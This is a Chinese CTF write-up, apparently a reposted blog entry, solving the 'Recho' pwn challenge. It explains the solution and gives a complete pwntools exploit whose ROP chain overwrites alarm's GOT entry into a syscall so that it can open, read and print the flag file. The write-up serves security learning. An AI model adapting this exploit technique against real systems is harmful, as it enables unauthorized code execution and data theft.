攻防世界Recho

这种类型的题目我也是第一次碰见,故记录一些知识点。这题我碰到3个比较难受的坑:

  • 不知道怎么结束while循环。我原本的想法是输入一些特殊的字符迫使它读入的字符数为0,结果怎么试发现都能正常读入。不得以去网上看了一下别人的博客,发现pwntools居然有p.shutdown('send')这个功能。据大佬的说法是可以关闭输入流从而强制退出循环。(其实我也不太明白,有知道的大佬可以评论说下)
  • 第二个就是文件描述符,正常的思路调用open("flag", 0)后会把返回的文件描述符存放在rax寄存器中,接下来调用read(fd, buf, size)函数肯定要把rax中的值传入到rdi中,结果无论我怎么找都找不到可以利用的代码段。苦思无果后我突然意识到stdin, stdout, stderr这三个标准I/O是自动打开的,文件描述符分别是0,1,2。如果没有别的文件被打开那我们调用open("flag", 0)返回的文件描述符是3。我们提交题目的靶机环境比较简单,说不定还真可以。后来一试,成功了。不得不说在这卡了很久真的挺蛋疼的。
  • 第三个就是最后调用printf("%s", buf)打印flag时总是失败,不得以调试跟踪了一遍printf()函数调用过程,发现是rax没清零导致调用失败,真的是一波三折啊。

这道题的利用思路是:

  1. 先调用open("flag", 0)函数打开flag文件
  2. 调用read(fd, buf, size)函数把flag写到一段我们可以控制的内存中,一般是bss段
  3. 调用printf("%s", buf)把flag打印出来

由于题目给的二进制文件中并不包含open函数,所以我们可以考虑系统调用。函数read,alarm,write都是系统调用函数,所以不出意外我们可以找到系统调用所需的syscall。最终的exp如下:

#-*- coding:utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./773a2d87b17749b595ffb937b4d29936')
#p = remote('111.198.29.45', 42251)
elf = ELF('773a2d87b17749b595ffb937b4d29936')

p.recvuntil('server!\n')
p.sendline('500')

alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
pop_rdi_addr = 0x4008a3
pop_rsi_r15_addr = 0x4008a1
start_addr = 0x400630
printf_plt = elf.plt['printf']
add_rdi_ret = 0x40070d
pop_rax_ret = 0x4006fc
pop_rdx_ret = 0x4006fe
bss_addr = 0x601090
read_plt = elf.plt['read']

payload = 'A'*0x30 + 'A'*8 + p64(pop_rdi_addr) + p64(alarm_got) + p64(pop_rax_ret) + p64(5) + p64(add_rdi_ret) ##改写alarm_got
payload += p64(pop_rdi_addr) + p64(0x601058) + p64(pop_rsi_r15_addr) + p64(0) + p64(start_addr) + p64(pop_rax_ret) + p64(2) + p64(alarm_plt) ## open("flag", 0)
payload += p64(pop_rdi_addr) + p64(3) + p64(pop_rsi_r15_addr) + p64(bss_addr) + p64(0) + p64(pop_rdx_ret) + p64(60) + p64(pop_rax_ret) + p64(0) + p64(alarm_plt) ## read()
payload += p64(pop_rdi_addr) + p64(0x4008de) + p64(pop_rsi_r15_addr) + p64(bss_addr) + p64(start_addr) + p64(pop_rax_ret) + p64(0) + p64(printf_plt) ##调用printf函数打印flag,p64(pop_rax_ret) + p64(0) 是为了保证调用printf成功
payload = payload.ljust(500, '\x00')
info(len(payload))
p.send(payload)
p.shutdown('send')

p.interactive()

猜你喜欢

转载自www.cnblogs.com/countfatcode/p/12326807.html
今日推荐